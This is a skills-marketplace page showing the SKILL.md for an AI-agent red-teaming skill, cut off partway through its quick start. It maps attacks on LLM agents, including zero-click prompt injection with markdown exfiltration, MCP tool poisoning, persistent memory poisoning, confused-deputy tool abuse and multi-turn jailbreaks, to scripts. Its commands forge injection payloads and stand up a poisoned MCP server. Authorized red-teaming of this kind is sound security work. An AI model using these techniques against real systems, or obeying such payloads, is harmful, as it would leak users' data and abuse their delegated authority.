ai-agent-redteam
starsforks
How to install ai-agent-redteam?
hypnguyen1209/offensive-claude/ai-agent-redteam
$npx -y skills add hypnguyen1209/offensive-claude --skill ai-agent-redteamUse when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses
SKILL.md
| 1 | # AI Agent Red Teaming |
| 2 | |
| 3 | Offensive testing of **autonomous LLM agents** — systems that combine model reasoning with |
| 4 | tools, memory, retrieval, and multi-step planning. This is distinct from model-level testing |
| 5 | (see `ai-security`): the attack surface here is the *agentic pipeline* — untrusted data channels, |
| 6 | tool/MCP integrations, persistent memory, and delegated authority. Assumes authorized engagement. |
| 7 | |
| 8 | ## When to Activate |
| 9 | |
| 10 | - Pentesting an LLM agent with tool/function-calling, an MCP client, or a code interpreter |
| 11 | - Testing RAG / email / browser assistants for indirect or zero-click prompt injection |
| 12 | - Auditing MCP server integrations for tool poisoning, rug-pull, or line-jumping |
| 13 | - Assessing persistent memory / long-term context for poisoning and belief drift |
| 14 | - Evaluating excessive agency: confused-deputy, SSRF/RCE-via-tool, over-privileged actions |
| 15 | - Running automated jailbreak campaigns (PAIR/TAP/Crescendo/Best-of-N) and measuring ASR |
| 16 | - Standing up a repeatable PyRIT/Garak/Promptfoo harness mapped to OWASP Agentic Top 10 / ATLAS |
| 17 | |
| 18 | ## Technique Map |
| 19 | |
| 20 | | Technique | ATT&CK | CWE | Reference | Script | |
| 21 | |-----------|--------|-----|-----------|--------| |
| 22 | | Indirect / zero-click prompt injection (EchoLeak-class) | T1566.002 / AML.T0051.001 | CWE-1427 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py | |
| 23 | | RAG corpus poisoning & markdown/image exfiltration | T1567 / AML.T0070 | CWE-1426 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py | |
| 24 | | Browser-agent hijack (Comet/CometJacking, Atlas) | T1071.001 / AML.T0051 | CWE-1427 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py | |
| 25 | | MCP tool poisoning / line-jumping | T1059 / AML.T0053 | CWE-1427 | references/mcp-tool-poisoning.md | scripts/mcp_tool_poison_server.py | |
| 26 | | MCP rug-pull (silent redefinition) | T1554 / AML.T0010 | CWE-494 | references/mcp-tool-poisoning.md | scripts/mcp_tool_poison_server.py | |
| 27 | | Persistent memory poisoning (MINJA/MemoryGraft) | T1565.001 / AML.T0070 | CWE-349 | references/memory-context-poisoning.md | scripts/memory_poison_minja.py | |
| 28 | | Excessive agency / confused-deputy tool abuse | T1548 / AML.T0053 | CWE-862 | references/excessive-agency-tool-abuse.md | scripts/agency_tool_fuzzer.py | |
| 29 | | Tool output → SSRF / RCE chaining | T1059 / AML.T0054 | CWE-918 / CWE-94 | references/excessive-agency-tool-abuse.md | scripts/agency_tool_fuzzer.py | |
| 30 | | Automated multi-turn jailbreak (Crescendo/TAP/PAIR) | AML.T0054 / AML.T0071 | CWE-1426 | references/automated-jailbreak-multiturn.md | scripts/multiturn_jailbreak.py | |
| 31 | | Best-of-N / encoding obfuscation jailbreak | AML.T0054 | CWE-1426 | references/automated-jailbreak-multiturn.md | scripts/multiturn_jailbreak.py | |
| 32 | | Harness & ASR scoring (PyRIT/Garak/Promptfoo) | AML.T0071 | CWE-1426 | references/agent-redteam-tooling.md | scripts/agent_redteam_harness.py | |
| 33 | |
| 34 | ## Quick Start |
| 35 | |
| 36 | ```bash |
| 37 | # 0. Scope: enumerate agent surface — tools/functions, MCP servers, memory store, data channels |
| 38 | python scripts/agent_redteam_harness.py enumerate --endpoint $AGENT_URL --out surface.json |
| 39 | |
| 40 | # 1. Indirect injection: forge a zero-click payload (email/doc/web) + markdown exfil beacon |
| 41 | python scripts/indirect_injection_forge.py --channel email \ |
| 42 | --exfil-base https://oast.pro/$TOKEN --obfuscate html-comment --out payload.eml |
| 43 | |
| 44 | # 2. MCP: stand up a poisoned MCP server to test client validation / line-jumping |
| 45 | python scripts/mcp_tool_poison_server.py --mode tool-poison --transport stdio |
| 46 | |
| 47 | # 3. Memory: query-only MINJA-style injection of a persistent malicious belief |
| 48 | python s |
People who liked this also viewed
6 picksType
- entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026
- azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026
- azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026
- better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 2026
- firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 2026
- audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 2026
